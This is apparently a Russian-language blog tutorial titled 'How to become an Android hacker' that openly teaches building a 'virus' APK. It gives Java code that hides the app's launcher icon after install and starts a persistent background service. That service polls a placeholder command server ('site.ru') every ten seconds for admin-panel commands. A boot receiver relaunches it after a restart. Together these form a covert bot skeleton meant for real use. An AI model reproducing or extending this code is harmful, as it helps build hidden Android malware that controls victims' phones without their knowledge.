Как стать “хакером” андроида. Да тут особо ничего мудрить не надо. Просто идем по шагам. 1. Устанавливаем java для разработчиков с офф сайта. (http://www.oracle.com/technetwork/java/javase/downloads/index.html) 2. Скачиваем android studio (http://developer.android.com/sdk/index.html#Other) Качаем полную рекомендованую. Сейчас мы не будем вдаваться в эти все подробности. Оно нам надо? 3. Запасаемся бубликами и пивом. Ведь сейчас придется все это поставить и настроить. 4. Тыкаем в основном далее, не вдумываясь что там написано. Незачем забивать голову 5. После чего как мы установили все это. Запускаем студию. Ищем сверху значек SDK Manager. Он где-то справа. Нажимаем, ставим везде галки, соглашаемся с условиями и нажимаем инсталл. 6. Опять грызем бублики и пьем великолепное пиво. Тут процесс по дольше, так как будут выкачиваться виртуалки и всяческие тулзы. 7. Ну вот собственно и все.Как все начиналось? Мы все поставили, теперь стоит и подумать, а как тут теперь вирус написать. А для этого мы идем в File -> New -> New project. И тут нам предлогают придумать название проекта и домен сайта компании. Вводим что взбредится в голову. На основе этих данных генерируется package имя. Которое использоется как уникальный идентефикатор нашего APK. Жмем далее. Тут нам предлогают выбрать платфурму под наш проект. Ну тут мы выбираем только Phone. Остальное рассмотрим позже. Далее. И теперь нам предлогают выбрать как будет выглядеть наше окошечко (Activity) стартовое, главное. Тут есть важная особенность. Чтобы запустить какой либо код сразу после установки, нужно чтобы было какой либо из окошек при старте. Поэтому выбираем любое кроме No Activity. Лучше всего выбрать Empty. Будет легче его вычищать, от ненужного мусора. Далее. Пишем название окошку и нажимаем Finish. Пока файлы нового проекта индексируются и настраивается сборщик проекта.Эй, ты слишком жирный! Пробуем собрать проект наш. Build -> Generate signed apk.. И что мы видим? APK с 1 окошком и приложением которое ни чего не делает. Занимает 1 мегабайт. Надо с этим что-то делать, а именно отказывать от библиотек (AppCompat). Это красивая графика, которая нам не нужна. Переходи в файл MainActivity.java Заменяем Код:

public class MainActivity extends AppCompatActivity 

на Код:

public class MainActivity extends Activity 

удаляем Код:

import android.support.v7.app.AppCompatActivity; 

Заходим в настройки проекта и во вкладке Dependes удаляем строку с AppCompat. Далее переходим к файлу values.xml и styles.xml. Удаляем их. Заходим в androidManifest.xml и меняем Код:

android:theme="@style/AppTheme" 

на Код:

android:theme="@android:style/Theme.Translucent.NoTitleBar" 

Собираем наше приложение, ура! размер меньше 40 кб. Уже есть с чем работать.Почему ты не прячешься? Далее, нам нужно спрятать нашего зверька. Чтобы иконка не была видна в списке менеджера приложений. А так же надо закрыть наше приложение. Вставляем после setContentView(R.layout.activity_main) Следующий код: Код:

String pgkname = getApplicationContext().getPackageName(); ComponentName componentToDisable = new ComponentName(pgkname,pgkname+".MainActivity"); getApplicationContext().getPackageManager().setComponentEnabledSetting( componentToDisable, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

Этот код скроет нашу иконку с глаз И после всего этого пишем: Код:

finish();

Теперь наше приложение после установки. Запускается и сразу же скрывается с глаз долой. Ух, проделали мы работу. Но надо идти дальше, а то бот не появиться в админке. Тук, тук, открывайте, полиция! Теперь мы должны сделать так, чтобы наш чудесный APK начал стучать в админку. Тут я уже полагаю, что админка где-то написана. И от нас требуется только стучать. Возьмем самый простой метод, он не будет работать корректно на андроидах выше 4.х. Но с чего-то надо же учиться. Я же не за вас работу делаю. Нам нужно создать сервис. Для этого мы создаем файл с новым class. (Правой тыкаем в проекте, на папку Java). Название класса пишем к примеру Network. Нажимаем окей. Удаляем все содержимое файла кроме первой строки где прописан package и заменяем на Код:

import android.app.Service; import android.content.Intent; import android.os.IBinder;  import org.apache.http.HttpResponse; import org.apache.http.client.HttpClient; import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpPost; import org.apache.http.entity.StringEntity; import org.apache.http.impl.client.DefaultHttpClient;  import java.io.InputStream; import java.util.Timer; import java.util.TimerTask;  public class Network extends Service{  @Override public int onStartCommand(Intent intent, int flags, int startId) { return Service.START_STICKY; }  @Override public IBinder onBind(Intent intent) { throw new UnsupportedOperationException(""); }  @Override public void onCreate() { MyTimerTask myTask = new MyTimerTask(); Timer myTimer = new Timer(); myTimer.schedule(myTask, 10000, 10000); }  class MyTimerTask extends TimerTask { public void run() { String result = ""; result = GET("http://site.ru/?q="); // Обработка result  } }  public String GET(String url){ InputStream inputStream = null; String result = ""; try { HttpClient httpclient = new DefaultHttpClient(); HttpResponse httpResponse = httpclient.execute(new HttpGet(url)); inputStream = httpResponse.getEntity().getContent(); if(inputStream != null) result = convertInputStreamToString(inputStream); else result = ""; } catch (Exception e) { } return result; } }

Это код описывает класс сервиса, в котором при запуске, запускает таймер и каждые 10 секунд отправляет GET запрос на URL и запрашивает ответ. Но это не все. Этот код не будет работать если мы объявим наш сервис в манифесте и не дадим права выходить в интернет нашему приложению. Идем в манифест. Добавляем Код: и в описание application Код: Осталось запустить наш сервис. Идем в MainActivity и перед finish() вставляем запуск сервиса Код:

getApplicationContext().startService(new Intent(getApplicationContext(), Network.class)); 

Финишная линия Теперь у нас есть апк, который сам себя скрывает после запуска и запускает процес отстука в админ панель. Где написано // Обработка result : там происходит обработка ответа и команд админки. Не сложно, правда? Но пока мы пили пиво. Мы совсем забыли, что если телефон перезагрузят. То наше приложение уже ни когда не запустится. Для этого мы идем опять в манифест. Добавляем права на запуск после ребута: Код: Добавляем обязательно обработчик в описание application Код: Теперь после перезапуска у нас вызовется класс Boot. И сейчас мы его создаим. Все делаем как я писал выше. Создали и удалили все кроме package. Код:

import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent;  public class Boot extends BroadcastReceiver {  @Override public void onReceive(Context context, Intent arg1) { context.startService(new Intent(context, Network.class)); } }

Конец, и пару слов. В окончании у нас появился прям такой игрушечный бот (APK). Что послужит вам хорошей базой и внесет немного понимания, как это все работает.

ОСТАВЬТЕ ОТВЕТ

Please enter your name here
Please enter your comment!